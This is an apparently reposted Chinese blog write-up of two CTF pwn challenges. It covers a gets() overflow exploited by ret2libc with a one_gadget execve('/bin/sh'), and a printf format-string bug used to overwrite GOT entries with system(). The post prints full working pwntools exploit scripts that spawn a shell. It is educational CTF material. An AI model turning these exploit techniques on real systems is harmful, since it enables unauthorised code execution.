博客
关于我
ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用
阅读量:184 次
发布时间:2019-02-28

本文共 3978 字,大约阅读时间需要 13 分钟。

ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用

pwn1

逆向代码分析

int __cdecl main(int argc, const char **argv, const char **envp){    char buf[48]; // [rsp+0h] [rbp-30h] BYREF  init();    puts("Show me your code :D");    gets(buf, argv);    return 0;}

检查保护

$ checksec pwn1Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)

one_gadget应用

$ one_gadget libc-2.31-dbg.so --near putsGadgets near puts(0x76b10):    # puts的偏移0xcbcb1 execve("/bin/sh", r13, r12)    # execve的偏移constraints:  [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL    # 0xcbcb4 execve("/bin/sh", r13, rdx)    # constraints:  [r13] == NULL || r13 == NULL [rdx] == NULL || rdx == NULL    # 0xcbcb7 execve("/bin/sh", rsi, rdx)    # constraints:  [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

思路

  • 第一次输入:填充后覆盖返回地址,返回指向puts,利用puts函数输出puts的函数地址。
  • 第二次输入:填充后调用pop_addr清掉r12, r13,返回地址为execve_addr。
  • exp1.py

    from pwn import *context(log_level='debug', arch='amd64', os='linux')p = process(["./ld-2.31-dbg.so", "./pwn1"], env={ "LD_PRELOAD": "./libc-2.31-dbg.so" })elf = ELF("./pwn1")puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_addr = 0x4011dbrdi_addr = 0x401283pop_addr = 0x040127cputs_offset = 0x076b10execve_offset = 0xcbcb1payload1 = b'A' * 0x38payload1 += p64(rdi_addr)payload1 += p64(puts_got)payload1 += p64(puts_plt)payload1 += p64(main_addr)p.sendline(payload1)puts_addr = u64(p.recv(6) + b'\x00' * 2)libc_addr = puts_addr - puts_offsetexecve_addr = libc_addr + execve_offsetpayload2 = b'A' * 0x38payload2 += p64(pop_addr)payload2 += p64(0) * 4payload2 += p64(execve_addr)p.sendline(payload2)p.interactive()

    pwn2_32

    逆向代码分析

    int __cdecl main(int argc, const char **argv, const char **envp){    __uid_t v3; // ebx    __uid_t v4; // eax    int tmp; // [esp+8h] [ebp-74h] BYREF    char buf[100]; // [esp+Ch] [ebp-70h] BYREF    unsigned int v8; // [esp+70h] [ebp-Ch]    int *v9; // [esp+74h] [ebp-8h] BYREF    v9 = &argc;    v8 = __readgsdword(0x14u);    v3 = geteuid();    v4 = geteuid();    setreuid(v4, v3);    setvbuf(stdout, 0, 2, 0);    setvbuf(stdin, 0, 2, 0);    tmp = secret;    puts("Show me your password. ");    printf("Password: ");    fgets(buf, 100, stdin);    if (!strcmp(buf, "sec21.\n"))        puts("Password OK :)");    else        handle_failure(buf);    if (tmp != secret)        puts("The secret is modified!\n");    return 0;}void __cdecl handle_failure(char *buf){    char msg[100]; // [esp+18h] [ebp-70h] BYREF    unsigned int v2; // [esp+7Ch] [ebp-Ch] BYREF    v2 = __readgsdword(0x14u);    snprintf(msg, 0x64u, "Invalid Password! %s\n", buf);    printf(msg);}

    思路

  • 第一次输入:利用%n%hn格式字符串修改secret的值,并将putsprintf的地址泄露。
  • 第二次输入:修改strcmp的返回地址,使得程序调用system("/bin/sh")
  • exp2.py

    from pwn import *context(log_level='debug', arch='i386', os='linux')elf = ELF("./pwn2_32")libc = ELF("/usr/lib32/libc-2.31.so")p = elf.process()puts_got = elf.got['puts']printf_got = elf.got['printf']strcmp_got = elf.got['strcmp']main_addr = elf.symbols['main']secret_addr = 0x0804a050ret_addr = main_addr + 139  # ret to fgetspayload1 = b'B' * 2payload1 += p32(secret_addr)payload1 += p32(puts_got + 2)payload1 += p32(puts_got)payload1 += p32(printf_got)payload1 += b'B' * 2payload1 += b"%15$n"payload1 += b'%' + str(int((ret_addr >> 16) - 20 - 18)).encode() + b'x'payload1 += b"%16$hn"payload1 += b'%' + str(int((ret_addr & 0xffff) - (ret_addr >> 16))).encode() + b'x'payload1 += b"J%18$s"p.sendline(payload1)printf_addr = u32(p.recv(4))libc_addr = printf_addr - libc.sym['printf']system_addr = libc_addr + libc.sym['system']payload2 = b'B' * 2payload2 += p32(strcmp_got)payload2 += p32(strcmp_got + 2)payload2 += b'B' * 2payload2 += b"%" + str(int((system_addr & 0xffff) - 12 - 18)).encode() + b"x"payload2 += b"%15$hn"payload2 += b"%" + str(int((system_addr >> 16) - (system_addr & 0xffff))).encode() + b"x"payload2 += b"%16$hn"p.sendline(payload2)p.sendline("/bin/sh")p.interactive()

    通过以上详细的分析和步骤,可以成功地利用ROP和Ret2libc技术对目标程序进行攻击,获取控制并获取shell。

    转载地址:http://rfhc.baihongyu.com/

    你可能感兴趣的文章
    MySQL InnoDB中意向锁的作用及原理探
    查看>>
    MySQL InnoDB事务隔离级别与锁机制深入解析
    查看>>
    Mysql InnoDB存储引擎 —— 数据页
    查看>>
    Mysql InnoDB存储引擎中的checkpoint技术
    查看>>
    Mysql InnoDB存储引擎中缓冲池Buffer Pool、Redo Log、Bin Log、Undo Log、Channge Buffer
    查看>>
    MySQL InnoDB引擎的锁机制详解
    查看>>
    Mysql INNODB引擎行锁的3种算法 Record Lock Next-Key Lock Grap Lock
    查看>>
    mysql InnoDB数据存储引擎 的B+树索引原理
    查看>>
    mysql innodb通过使用mvcc来实现可重复读
    查看>>
    mysql insert update 同时执行_MySQL进阶三板斧(三)看清“触发器 (Trigger)”的真实面目...
    查看>>
    mysql interval显示条件值_MySQL INTERVAL关键字可以使用哪些不同的单位值?
    查看>>
    Mysql join原理
    查看>>
    MySQL Join算法与调优白皮书(二)
    查看>>
    Mysql order by与limit混用陷阱
    查看>>
    Mysql order by与limit混用陷阱
    查看>>
    mysql order by多个字段排序
    查看>>
    MySQL Order By实现原理分析和Filesort优化
    查看>>
    mysql problems
    查看>>
    mysql replace first,MySQL中处理各种重复的一些方法
    查看>>
    MySQL replace函数替换字符串语句的用法(mysql字符串替换)
    查看>>